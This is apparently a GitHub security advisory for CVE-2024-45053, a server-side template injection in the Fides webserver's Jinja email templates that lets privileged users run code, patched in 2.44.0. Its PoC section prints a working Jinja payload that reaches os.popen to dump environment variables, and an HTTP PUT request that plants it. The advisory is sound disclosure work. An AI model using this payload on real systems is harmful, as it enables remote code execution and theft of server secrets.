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Remote Code Execution Vulnerability via SSTI in Fides Webserver Jinja Email Templating Engine

High severity GitHub Reviewed Published Sep 4, 2024 in ethyca/fides • Updated Nov 18, 2024

Package

pip ethyca-fides (pip)

Affected versions

>= 2.19.0, < 2.44.0

Patched versions

2.44.0

Description

Summary

The Email Templating feature uses Jinja2 without proper input sanitization or rendering environment restrictions, allowing for Server-Side Template Injection that grants Remote Code Execution to privileged users. A privileged user refers to an Admin UI user with the default Owner or Contributor role, who can escalate their access and execute code on the underlying Fides Webserver container where the Jinja template rendering function is executed.

Details

The application enables the creation of message templates that are sent via email to Fides Privacy Center users (data subjects) who raise privacy requests such as data subject access requests or consent management requests via the Privacy Center. These emails are triggered at various points in the request processing flow, for example when a request is denied or approved. The messages are defined using Jinja2 templates, allowing the use of statement and expression directives to craft more complex messages that include dynamic variables.

It was discovered that the Jinja2 environment used to render the templates does not restrict the usage of common Python methods and objects, which permits an attacker to execute arbitrary code via Server-Side Template Injection. An attacker with the ability to modify email templates can inject malicious code, which is then executed when an email message is rendered and sent to the user.

Admin UI users assigned the following default roles are permitted to modify email templates and are therefore able to exploit this vulnerability:

  • Owner
  • Contributor

OAuth clients with the messaging-template:update scope are also authorized to use the PUT /api/v1/messaging/templates/ Fides Webserver API endpoint and may also exploit this vulnerability.

Impact

This vulnerability allows an attacker with sufficient privileges (Owner, Contributor, messaging-template:update) to execute arbitrary code remotely (Remote Code Execution) and escalate their privileges to those of a user on the Fides Webserver container. This escalated access grants the attacker control of the Fides Webserver application, including unauthorized access to integrated resources such as the hosted database, hosted cache, integrated data stores, and integrated SaaS applications. Potential impacts range from denial of service to the exfiltration of sensitive data unavailable to the user prior to the escalation of access.

Patches

The vulnerability has been patched in Fides version 2.44.0. Users are advised to upgrade to this version or later to secure their systems against this threat.

Workarounds

There are no workarounds.

PoC

The following payload, when injected into the email template, enables the execution of a command on the underlying system, revealing the content of environment variables:

Your privacy request has been denied.
*bb*
{% for s in ().__class__.__base__.__subclasses__() %}{% if "warning" in s.__name__ %}{{s()._module.__builtins__['__import__']('os').popen("env").read() }}{% endif %}
{% endfor %}
*aa*

The following HTTP request to the Fides Webserver API can be used to update a privacy request denial email template:

PUT /api/v1/messaging/templates/autogenerated-mes_ce649254-a90b-4073-ae12-193650064220 HTTP/2
Host: <redacted host>
Cookie: _fbp=fb.1.17232<..REDACTED>_ga=GA1.1.263756963.1723471626
Content-Length: 361
Sec-Ch-Ua: "Not/A)Brand";v="8", "Chromium";v="126", "Google Chrome";v="126"
Unescape-Safestr: true
Sec-Ch-Ua-Mobile: ?0
Authorization: Bearer eyJhbGciOiJkaXIiLCJlbmMiOiJBMjU..<REDACTED>
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Content-Type: application/json
Access-Control-Allow-Origin: *
X-Fides-Source: fidesops-admin-ui
Sec-Ch-Ua-Platform: "Linux"
Accept: */*
Origin: https://<redacted host>
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://<redacted host>/messaging/autogenerated-mes_ce649254-a90b-4073-ae12-193650064220
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=1, i

{
    "is_enabled": true,
    "content":
    {
        "subject": "Your privacy request has been denied XXX",
        "body": "Your privacy request has been denied. \n*bb*\n{% for s in ().__class__.__base__.__subclasses__() %}{% if \"warning\" in s.__name__ %}{{s()._module.__builtins__['__import__']('os').popen(\"env\").read() }}{% endif %}\n{% endfor %}\n*aa*\n**"
    },
    "properties":
    [
        "FDS-JICO87"
    ]
}

As a result, when a Privacy Center user submits a privacy request, such as to access their own data, and the request is rejected by a user of the privacy request management dashboard, the malicious template will be rendered, the code will be executed, and the content of the underlying container's environment variables will be included in the email the end-user receives.

rce-email

References

@daveqnet daveqnet published to ethyca/fides Sep 4, 2024
Published by the National Vulnerability Database Sep 4, 2024
Published to the GitHub Advisory Database Sep 4, 2024
Reviewed Sep 4, 2024
Last updated Nov 18, 2024

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required High
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

EPSS score

0.049%
(20th percentile)

Weaknesses

CVE ID

CVE-2024-45053

GHSA ID

GHSA-c34r-238x-f7qx

Source code

Credits

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